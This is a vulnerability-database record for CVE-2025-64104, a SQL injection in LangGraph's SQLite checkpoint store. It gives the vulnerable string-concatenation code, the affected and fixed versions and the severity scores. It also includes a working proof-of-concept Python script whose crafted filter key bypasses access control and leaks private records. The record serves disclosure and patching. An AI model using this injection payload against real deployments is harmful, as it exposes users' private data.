{"schema":"threatline.record/2","record":{"id":"CVE-2025-64104","aliases":["GHSA-7p73-8jqx-23r8","PYSEC-2026-1529"],"summary":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","details":"### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # <-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # <-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```","categories":["Databases"],"product":"langgraph-checkpoint-sqlite","vendor":"langchain-ai","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7p73-8jqx-23r8","source_modified_at":"2026-10-28T21:08:45Z","fetched_at":"2026-10-29T00:48:09.584895Z","package":{"ecosystem":"pip","name":"langgraph-checkpoint-sqlite"},"range":"<= 2.0.10"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2025-64104","source_modified_at":"2025-10-30T15:33:07.541Z","fetched_at":"2026-10-29T00:48:09.584895Z","product":"langgraph","vendor":"langchain-ai","versions":[{"version":"< 2.0.11","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7p73-8jqx-23r8","source_modified_at":"2026-10-28T21:15:05.702101965Z","fetched_at":"2026-10-29T00:48:09.584895Z","package":{"name":"langgraph-checkpoint-sqlite","ecosystem":"PyPI","purl":"pkg:pypi/langgraph-checkpoint-sqlite"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.11"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","2.0.0","2.0.1","2.0.10","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7p73-8jqx-23r8","source_modified_at":"2026-10-28T21:08:45Z","fetched_at":"2026-10-29T00:48:09.584895Z","package":{"ecosystem":"pip","name":"langgraph-checkpoint-sqlite"},"version":"2.0.11"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7p73-8jqx-23r8","source_modified_at":"2026-10-28T21:15:05.702101965Z","fetched_at":"2026-10-29T00:48:09.584895Z","package":{"name":"langgraph-checkpoint-sqlite","ecosystem":"PyPI","purl":"pkg:pypi/langgraph-checkpoint-sqlite"},"version":"2.0.11"}],"cvss":7.3,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00241,"percentile":0.15278,"score_date":"2026-10-28"},"published_at":"2025-10-29T18:55:06.129Z","modified_at":"2026-10-28T21:15:05.702101965Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-7p73-8jqx-23r8","fetched_at":"2026-10-29T00:48:09.584895Z","source_modified_at":"2026-10-28T21:08:45Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2025-64104","fetched_at":"2026-10-29T00:48:09.584895Z","source_modified_at":"2025-10-30T15:33:07.541Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-7p73-8jqx-23r8","fetched_at":"2026-10-29T00:48:09.584895Z","source_modified_at":"2026-10-28T21:15:05.702101965Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-64104","fetched_at":"2026-10-29T00:48:09.584895Z","source_modified_at":"2026-10-28"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64104","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4","tags":["x_refsource_MISC"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-7p73-8jqx-23r8","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2025-10-30T15:33:02.801013Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-28T21:15:05.702101965Z","content_hash":"9556c0b463cb521274c0cae15eb89c0a65832a713f3b88c2552ace84e2e328e0"}}
